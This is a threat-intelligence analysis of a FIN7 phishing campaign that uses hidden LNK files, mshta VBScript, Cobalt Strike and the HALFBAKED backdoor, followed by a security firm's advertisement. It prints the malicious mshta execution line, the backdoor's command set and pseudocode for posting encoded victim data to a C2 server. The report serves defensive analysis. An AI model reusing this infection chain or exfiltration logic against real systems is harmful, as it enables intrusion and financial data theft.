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FIN7 is a financially-motivated threat group that has been associated
with malicious operations dating back to late 2015. FIN7 is referred
to by many vendors as “Carbanak Group”, although we do not equate all
usage of the CARBANAK backdoor with FIN7. FireEye recently observed a
spear phishing campaign
targeting personnel involved with United
States Securities and Exchange Commission (SEC) filings at various organizations.

In a newly-identified campaign, FIN7 modified their phishing
techniques to implement unique infection and persistence mechanisms.
FIN7 has moved away from weaponized Microsoft Office macros in order
to evade detection. This round of FIN7 phishing lures implements
hidden shortcut files (LNK files) to initiate the infection and
VBScript functionality launched by mshta.exe to infect the victim.

In this ongoing campaign, FIN7 is targeting organizations with spear
phishing emails containing either a malicious DOCX or RTF file – two
versions of the same LNK file and VBScript technique. These lures
originate from external email addresses that the attacker rarely
re-used, and they were sent to various locations of large restaurant
chains, hospitality, and financial service organizations. The subjects
and attachments were themed as complaints, catering orders, or
resumes. As with previous campaigns, and as highlighted in our annual
M-Trends 2017 report
, FIN7 is calling stores at targeted
organizations to ensure they received the email and attempting to walk
them through the infection process.

Infection Chain

While FIN7 has embedded VBE as OLE objects for over a year, they
continue to update their script launching mechanisms. In the current
lures, both the malicious DOCX and RTF attempt to convince the user to
double-click on the image in the document, as seen in Figure 1. This
spawns the hidden embedded malicious LNK file in the document.
Overall, this is a more effective phishing tactic since the malicious
content is embedded in the document content rather than packaged in
the OLE object.

By requiring this unique interaction – double-clicking on the image
and clicking the “Open” button in the security warning popup – the
phishing lure attempts to evade dynamic detection as many sandboxes
are not configured to simulate that specific user action.

Figure 1: Malicious FIN7 lure asking victim to
double click to unlock contents

The malicious LNK launches “mshta.exe” with the following arguments
passed to it:

vbscript:Execute(“On Error Resume Next:set
w=GetObject(,””Word.Application””):execute w.ActiveDocument.Shapes(2).TextFrame.TextRange.Text:close”)

The script in the argument combines all the textbox contents in the
document and executes them, as seen in Figure 2.

Figure 2: Textbox inside DOC

The combined script from Word textbox drops the following components:


Also, the script creates a named schedule task for persistence to
launch “58d2a83f7778d5.36783181.vbs” every 25 minutes.

VBScript #1

The dropped script “58d2a83f7778d5.36783181.vbs” acts as a launcher.
This VBScript checks if the “58d2a83f777942.26535794.ps1” PowerShell
script is running using WMI queries and, if not, launches it.

PowerShell Script

“58d2a83f777942.26535794.ps1” is a multilayer obfuscated PowerShell
script, which launches shellcode for a Cobalt Strike stager.

The shellcode retrieves an additional payload by connecting to the
following C2 server using DNS:


Once a successful reply is received from the command and control
(C2) server, the PowerShell script executes the embedded Cobalt Strike
shellcode. If unable to contact the C2 server initially, the shellcode
is configured to reattempt communication with the C2 server address in
the following pattern:


VBScript #2

“mshta.exe” further executes the second VBScript
“58d2a83f777908.23270411.vbs”, which creates a folder by GUID name
inside “Intel” and drops the VBScript payloads and configuration files:


This script then executes “58d2a83f777716.48248237.vbs”, which is a
variant of FIN7’s HALFBAKED backdoor.

HALFBAKED Backdoor Variant

The HALFBAKED malware family consists of multiple components
designed to establish and maintain a foothold in victim networks, with
the ultimate goal of gaining access to sensitive financial
information. This version of HALFBAKED connects to the following C2 server:


This version of HALFBAKED listens for the following commands from
the C2 server:

  • info: Sends victim machine information (OS, Processor, BIOS
    and running processes) using WMI queries
  • processList: Send list of process running
  • screenshot: Takes screen shot of victim machine (using
  • runvbs: Executes a VB script
  • runexe: Executes EXE file
  • runps1: Executes PowerShell script
  • delete: Delete the specified file
  • update: Update the specified file

All communication between the backdoor and attacker C2 are encoded
using the following technique, represented in pseudo code:

Function send_data(data)
                random_string =
                encoded_data = URLEncode(SimpleEncrypt(data))
                post_data(“POST”, random_string &
“=” & encoded_data, Hard_coded_c2_url,

The FireEye iSIGHT Intelligence MySIGHT Portal contains additional
information based on our investigations of a variety of topics
discussed in this post, including FIN7 and the HALFBAKED backdoor.
Click here for
more information.

Persistence Mechanism

Figure 3 shows that for persistence, the document creates two
scheduled tasks and creates one auto-start registry entry pointing to
the LNK file.

Figure 3: FIN7 phishing lure persistence mechanisms

Examining Attacker Shortcut Files

In many cases, attacker-created LNK files can reveal valuable
information about the attacker’s development environment. These files
can be parsed with lnk-parser to
extract all contents. LNK files have been valuable during Mandiant
incident response investigations as they include volume serial number,
NetBIOS name, and MAC address.

For example, one of these FIN7 LNK files contained the following properties:

  • Version: 0
  • NetBIOS name: andy-pc
  • Droid
    volume identifier: e2c10c40-6f7d-4442-bcec-470c96730bca
  • Droid file identifier: a6eea972-0e2f-11e7-8b2d-0800273d5268
  • Birth droid volume identifier:
  • Birth droid file
    identifier: a6eea972-0e2f-11e7-8b2d-0800273d5268
  • MAC
    address: 08:00:27:3d:52:68
  • UUID timestamp: 03/21/2017
    (12:12:28.500) [UTC]
  • UUID sequence number: 2861

From this LNK file, we can see not only what the shortcut launched
within the string data, but that the attacker likely generated this
file on a VirtualBox system with hostname “andy-pc” on March 21, 2017.

Example Phishing Lures

  • Filename: Doc33.docx
  • MD5: 6a5a42ed234910121dbb7d1994ab5a5e
  • Filename: Mail.rtf
  • MD5: 1a9e113b2f3caa7a141a94c8bc187ea7

FIN7 April 2017 Community Protection Event

On April 12, in response to FIN7 actively targeting multiple
clients, FireEye kicked off a Community Protection Event (CPE) – a
coordinated effort by FireEye as a Service (FaaS), Mandiant, FireEye
iSight Intelligence, and our product team – to secure all clients
affected by this campaign.

At L Technology Group, we know technology alone will not protect us from the risks associated with in cyberspace. Hackers, Nation States like Russia and China along with “Bob” in HR opening that email, are all real threats to your organization. Defending against these threats requires a new strategy that incorporates not only technology, but also intelligent personnel who, eats and breaths cybersecurity. Together with proven processes and techniques combines for an advanced next-generation security solution. Since 2008 L Technology Group has develop people, processes and technology to combat the ever changing threat landscape that businesses face day to day.

Call Toll Free (855) 999-6425 for a FREE Consultation from L Technology Group,